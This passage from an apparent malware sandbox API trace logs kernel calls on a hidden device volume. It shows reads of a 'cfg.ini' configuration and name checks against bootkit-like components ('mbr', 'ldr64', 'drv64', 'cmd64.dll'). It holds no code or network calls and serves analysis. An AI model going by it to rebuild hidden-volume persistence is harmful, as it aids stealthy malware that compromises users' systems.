0xfffffa8003b863b0 [0129.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.603] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.603] IdePortDispatch () returned 0x103 [0129.603] KeWaitForMutexObject () returned 0x0 [0129.603] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.603] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.603] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.603] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.603] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.603] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05c60 [0129.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.604] KeLeaveCriticalRegion () [0129.604] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.604] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.604] KeEnterCriticalRegion () [0129.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.604] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.604] KeLeaveCriticalRegion () [0129.604] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.604] KeEnterCriticalRegion () [0129.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.604] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.604] IdePortDispatch () returned 0x103 [0129.604] KeWaitForMutexObject () returned 0x0 [0129.604] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.604] KeLeaveCriticalRegion () [0129.604] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.604] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.604] KeEnterCriticalRegion () [0129.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.604] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c21000 [0129.604] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.604] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.604] IdePortDispatch () returned 0x103 [0129.605] KeWaitForMutexObject () returned 0x0 [0129.605] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.605] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.605] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.605] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.605] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.605] IdePortDispatch () returned 0x103 [0129.605] KeWaitForMutexObject () returned 0x0 [0129.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.605] KeLeaveCriticalRegion () [0129.605] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.606] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.606] KeEnterCriticalRegion () [0129.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.606] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.606] KeLeaveCriticalRegion () [0129.606] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.606] KeEnterCriticalRegion () [0129.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.606] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.606] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.606] KeLeaveCriticalRegion () [0129.606] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.606] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.606] KeEnterCriticalRegion () [0129.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.606] ExFreePoolWithTag (P=0xfffffa8003c05c60, Tag=0x0) [0129.606] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.606] KeLeaveCriticalRegion () [0129.606] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.606] ReleaseMutex (hMutex=0xf0) returned 1 [0129.606] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.606] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.606] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.606] KeEnterCriticalRegion () [0129.606] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.606] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.606] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.606] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.606] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.606] IdePortDispatch () returned 0x103 [0129.606] KeWaitForMutexObject () returned 0x0 [0129.607] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.607] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.607] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.607] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.607] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.607] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c054c0 [0129.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.607] KeLeaveCriticalRegion () [0129.607] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.607] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.607] KeEnterCriticalRegion () [0129.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.607] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.607] KeLeaveCriticalRegion () [0129.607] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.607] KeEnterCriticalRegion () [0129.607] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.607] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.607] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.607] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.607] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.607] IdePortDispatch () returned 0x103 [0129.607] KeWaitForMutexObject () returned 0x0 [0129.607] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.607] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.607] KeLeaveCriticalRegion () [0129.607] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.607] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.608] KeEnterCriticalRegion () [0129.608] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.608] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c22000 [0129.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.608] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.608] IdePortDispatch () returned 0x103 [0129.608] KeWaitForMutexObject () returned 0x0 [0129.608] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.608] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.608] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.608] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.608] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.608] IdePortDispatch () returned 0x103 [0129.608] KeWaitForMutexObject () returned 0x0 [0129.608] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.608] KeLeaveCriticalRegion () [0129.608] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.609] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.609] KeEnterCriticalRegion () [0129.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.609] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.609] KeLeaveCriticalRegion () [0129.609] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.609] KeEnterCriticalRegion () [0129.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.609] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.609] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05580, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.609] KeLeaveCriticalRegion () [0129.609] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.609] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.609] KeEnterCriticalRegion () [0129.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.609] ExFreePoolWithTag (P=0xfffffa8003c054c0, Tag=0x0) [0129.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.609] KeLeaveCriticalRegion () [0129.609] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.609] ReleaseMutex (hMutex=0xf0) returned 1 [0129.609] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.609] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.609] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.609] KeEnterCriticalRegion () [0129.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.610] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.610] IdePortDispatch () returned 0x103 [0129.610] KeWaitForMutexObject () returned 0x0 [0129.610] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.610] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.610] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.610] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.610] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.610] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06e00 [0129.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.610] KeLeaveCriticalRegion () [0129.610] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.610] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.610] KeEnterCriticalRegion () [0129.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.610] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.610] KeLeaveCriticalRegion () [0129.610] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.610] KeEnterCriticalRegion () [0129.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.610] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.610] IdePortDispatch () returned 0x103 [0129.610] KeWaitForMutexObject () returned 0x0 [0129.611] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.611] KeLeaveCriticalRegion () [0129.611] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.611] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.611] KeEnterCriticalRegion () [0129.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.611] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c23000 [0129.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.611] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.611] IdePortDispatch () returned 0x103 [0129.611] KeWaitForMutexObject () returned 0x0 [0129.611] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.611] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.611] IdePortDispatch () returned 0x103 [0129.611] KeWaitForMutexObject () returned 0x0 [0129.611] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.611] KeLeaveCriticalRegion () [0129.611] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.612] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.612] KeEnterCriticalRegion () [0129.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.612] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.612] KeLeaveCriticalRegion () [0129.612] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.612] KeEnterCriticalRegion () [0129.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.612] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.612] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c06070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.613] KeLeaveCriticalRegion () [0129.613] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.613] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.613] KeEnterCriticalRegion () [0129.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.613] ExFreePoolWithTag (P=0xfffffa8003c06e00, Tag=0x0) [0129.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.613] KeLeaveCriticalRegion () [0129.613] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.613] ReleaseMutex (hMutex=0xf0) returned 1 [0129.613] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.613] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.613] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.613] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.613] KeEnterCriticalRegion () [0129.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.613] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.613] IdePortDispatch () returned 0x103 [0129.614] KeWaitForMutexObject () returned 0x0 [0129.614] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.614] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.614] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.614] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.614] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.614] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.614] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.614] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.614] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.614] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.614] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.614] KeLeaveCriticalRegion () [0129.614] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.614] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.614] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.614] KeEnterCriticalRegion () [0129.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.614] 